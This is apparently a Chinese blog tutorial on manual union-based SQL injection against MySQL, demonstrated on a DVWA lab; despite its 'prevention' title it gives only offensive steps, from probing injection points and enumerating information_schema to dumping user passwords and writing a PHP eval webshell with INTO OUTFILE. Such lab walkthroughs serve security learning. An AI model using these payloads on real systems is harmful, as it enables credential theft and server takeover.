mysql关于注入的防范及总结教程

今天给大家带来一篇关于mysql数据库的注入总结教程

  • 基础知识
    • 什么是SQL注入
    • 什么是Mysql
  • MySQL手工注入
    • 手工注入流程
      • 判断注入点
      • 判断查询的字段数
      • 确定回显位
      • 获取信息函数
      • 获取数据库名
      • 获取表名
      • 获取列名
      • 获取数据
      • 写shell

各位大佬。。。这篇文章是个人再练习注入的时候自己总结出来的一部分经验,步骤确实很简单,百度上面确实也能搜的到相关类似的,但关于文章中一些我个人的理解与总结部分肯定是搜不到的。菜鸟初来乍到,如果个人经验比较少或者说总结的不够深入,入不了各位大佬法眼,请各位大佬见谅。菜鸟还是需要不断学习进步,争取后续分享的文章能有更高的一个质量,能入的了各位大佬的眼。。。给各位大佬递茶。。。。

由于新人刚报道不久,大概浏览了一下论坛内的帖子,发现很多都是大佬们分型的工具,以及各种牛逼的渗透过程及思路记录。关于新人的一些简单入门点的资料好像不多(可能新人刚到,不太熟悉如何寻找资料,如果有误还请各位大佬不吝指教,请多多见谅,)。

这篇文章属于个人在学习sql注入时的一部分总结,后续的关于个人sql注入的总结文章也会陆续发出来。如果跟大佬的有重复或者有什么其他问题,请各位大佬及时指出{:6_430:} 。自评TCV=0…..

下面就是正文部分了。

基础知识

什么是SQL注入

A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

引用OWASP上的定义,sql注入简单来说就是攻击者从客户端输入的恶意sql查询语句被服务器执行,从而攻击者可以读取/修改数据库中敏感信息、执行数据库管理员操作、甚至执行系统命令。

什么是Mysql

MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MySQL是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件。
Mysql简单来说就是一个关系型的数据库管理系统,使用SQL语言来来存储数据,以及管理数据。

MySQL手工注入

SQL注入从注入的手法或者工具上分类的话可以分为:

  • 手工注入(手工来构造调试输入payload)
  • 工具注入(使用工具,如sqlmap)

下面主要讲解的是如何通过手工来显式注入MySQL数据库。说到显式注入,SQL又可以分为:

  • 显式注入
  • 盲注入

这两种分类的主要区别在于能否从页面上直接获取数据库信息。

手工注入流程

判断注入点

注入的第一步是得判断该处是否是一个注入点。或者说判断此处是否有SQL注入漏洞。最简单的判断方法就是在正常的参数后加单引号 ‘。

http://192.168.0.111/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1'

mysql关于注入的防范及总结教程

如果页面显示了SQL的错误信息,进一步测试:

    1' or 1=1 --+

mysql关于注入的防范及总结教程

页面显示正常。再测试:

    1' and 1=2 --+

mysql关于注入的防范及总结教程

至此基本可以确定此处是一个SQL注入点,也就是说存在SQL注入漏洞。

判断查询的字段数

确定了注入点之后,就需要进行下一步的注入操作了。首先使用orderby子句来确定SQL语句查询的字段数量。orderby子句会根据sql查询结果的字段来排序,如果字段不存在则会报错。下面尝试输入order by 10 。

    1' ORDER BY 10 --+

mysql关于注入的防范及总结教程

发现页面报错,那么接下来尝试order by 9, 如果同样报错,则尝试order by 8,依次尝试下去,直到页面显示正常为止。

mysql关于注入的防范及总结教程

可以看到order by 2的时候页面显示正常,则说明查询语句只有2个字段。

确定回显位

确定了查询数据的位数,然后开始确定网页的回显位。回显位就是确定查询出来的数据是在网页上面的哪个位置显示出来。使用Union联合查询来确定回显位。

    1' and 1=2 union select 1, 2 --+

mysql关于注入的防范及总结教程

可以看到查询语句中的两个字段都在网页中显示了,分别在First name和 Surname位置上。

获取信息函数

下面就开始获取数据库信息了,常用的几个获取数据的函数分别是:

    user()      获取当前用户用户
    database()      获取当前数据库
    version()       获取数据库版本    @@version_compile_os        获取操作系统版本

注入下列SQL语句可以查询出数据库当前用户,和当前数据库名。

    1' and 1=2 union select user(), database() --+

mysql关于注入的防范及总结教程

注入下列SQL语句,可以查询出数据库版本和当前操作系统版本。

    1' and 1=2 union select version(), @@version_compile_os --+

mysql关于注入的防范及总结教程

可以看到注入上面两条语句之后,当前用户、数据库名、数据库版本、操作系统等信息都已经得到了。

获取数据库名

MySQL5新增了一个information_schema结构,这个information_schema数据库中存储着MySQL管理的所有数据库的信息,如数据库名,表名,列名以及权限等等信息。所以可以利用information_schema来快速获取数据库中的表结构信息。常用的information_schema中的表有:

    schemata        (schema_name字段记录所有数据库信息)
    tables      (table_name记录表名,table_schema字段记录表所属的数据库信息)
    columns     (column_name记录列名,table_name记录列所属的表名,schema_name记录列所属的数据库名)

所以可以使用schemata表来获取所有数据库名:

    1' and 1=2 union select 1, SCHEMA_NAME  from information_schema.schemata --+

mysql关于注入的防范及总结教程

这条SQL语句是能够将所有数据库名查询出来,如果页面显示足够多的话是可以直接全部获取的。但是有些情况下,页面可能只会有一条回显记录,那么可以使用limit子句来分批获取所有数据库名。或者直接使用group_concat来一次性获取数据库信息。

    1' and 1=2 union select 1, group_concat(SCHEMA_NAME) from information_schema.schemata --+

mysql关于注入的防范及总结教程

使用group_concat就能很方便的在一条记录中查询出来所有数据库信息。

获取表名

获取到了数据库信息之后,找到目标数据库,然后开始获取表名信息。可以读取tables表中的table_name来获取。

    1' and 1=2 union select 1, group_concat(TABLE_NAME) from information_schema.tables where schema_name='dvwa'+--+

mysql关于注入的防范及总结教程

表名需要使用’单引号包起来,或者使用16进制来表示:

    1' and 1=2 union select 1, group_concat(TABLE_NAME) from information_schema.tables where schema_name=0x64767761+--+

获取列名

获取到了表名之后,下面来获取列名。同样通过information_schema的columns表获取。

    1' and 1=2 union select 1, COLUMN_NAME from information_schema.columns where table_name='users'+--+

mysql关于注入的防范及总结教程

表名同样可以使用十六进制表示。

获取数据

下面就开始获取表中的数据了,选择刚才获取的表中的user_id,user,password三列的数据。

    1' and 1=2 union select 1, group_concat(user_id,',user,',password) from users+--+

group_concat中间的’是用来分割数据显示的。

mysql关于注入的防范及总结教程

以上,就成功从数据库中获取了管理员账户信息。

写shell

上面获取管理员账号信息之后,就可以登录网页后台,从后台寻找上传点或者其他漏洞来往服务器上写入webshell。在知道服务器的物理地址的情况下,通过SQL语句来写入webshell通常是一种更快捷方便的方式。

    1' and 1=2 union select '<?php eval($_POST[shell]); ?>' INTO OUTFILE '/var/www/html/shell.php'+--+

执行成功之后,就能使用菜刀或者其他工具连接网页更目录下的shell.php文件了。

主题测试文章,只做测试使用。发布者:云大使,转转请注明出处:https://www.xp8.net/data/927.html

(0)
打赏 微信扫一扫 微信扫一扫
云大使的头像云大使
上一篇 2018年10月11日 下午2:29
下一篇 2018年10月11日 下午2:30

相关推荐

  • Mysql中utf8_unicode_ci、utf8_general_ci有什么区别?-mysql教程-学派吧

    本篇文章给大家带来的内容是关于Mysql中utf8_unicode_ci、utf8_general_ci有什么区别?有一定的参考价值,有需要的朋友可以参考一下,希望对你有所帮助。 Mysql中utf8_general_ci与utf8_unicode_ci有什么区别呢?在编程语言中,通常用unicode对中文字符做处理,防止出现乱码,那么在MySQL里,为什么…

    数据库运维 2019年4月9日
    2.9K00
  • MySQL执行过程以及查询缓存的详细介绍-mysql教程-学派吧

    本篇文章给大家带来的内容是关于MySQL执行过程以及查询缓存的详细介绍,有一定的参考价值,有需要的朋友可以参考一下,希望对你有所帮助。 MySQL执行一个查询过程:当我们向MySQL发送一个请求的时候,MySQL到底做了什么: 1.客户端发送一条查询给服务器2.服务器先检查查询缓存,如果命中了缓存,则立刻返回存储在缓存中的结果。否则进入下一阶段。3.服务器端…

    2019年4月9日
    1.9K00
  • 在Navicat中如何设置数据库的操作权限教程-navicat-学派

    为了减少开发人员的错误操作,可以设置权限来进行控制,通过为MySQL服务器建立不同的用户,并为用户赋予不同的权限,来达到目标。这篇文章就给大家介绍怎么设置Navicat数据库的操作权限,需要的朋友可以参考一下。1 以下内容为详细设置步骤。 一、新建用户 1、用Navicat连接本地服务器(如果之前已连接,请打开连接) 2、点击菜单栏 –> 用户,如图所…

    数据库运维 2018年11月26日
    3.2K00
  • CPU资源和可用内存大小对数据库性能有没有影响?-mysql教程-学派吧

    本篇文章给大家带来的内容是关于CPU资源和可用内存大小对数据库性能有何影响?有一定的参考价值,有需要的朋友可以参考一下,希望对你有所帮助 前言 可能影响到数据库性能的几个点,其一就是服务器硬件,也是本节要说的CPU与可用内存。 引入 当热数据超过可用内存大小,MemCache存储引擎缓存层容易失效(当缓存大量失效时,容易产生大量的网络传输),从而影响服务器的…

    数据库运维 2018年11月24日
    2.6K00
  • 数据库提示Table ‘xxx’is marked as crashed and last (automatic) repair failed

    学派吧-今天小编碰到一个数据库报错问题、然后开始搜集资料开始解决 把下面的方法发布出来。Table ‘xxx’is marked as crashed and last (automatic) repair failed。这意味着该表被标记为跌宕了。于是想着修复:repair table arvhives,修复却失败了。   只好通过…

    2018年9月10日
    4.0K00

发表回复

登录后才能评论
联系我们

联系我们

18838889666

在线咨询: QQ交谈

邮件:xinyun@88.com

工作时间:周一至周五,9:30-18:30,节假日休息

添加微信
添加微信
分享本页
返回顶部
---------官方优惠叠加渠道折扣:通过我们购买腾讯云/阿里云,价格更低,服务更优。更有专业配置指导与服务。微信同步:18838889666----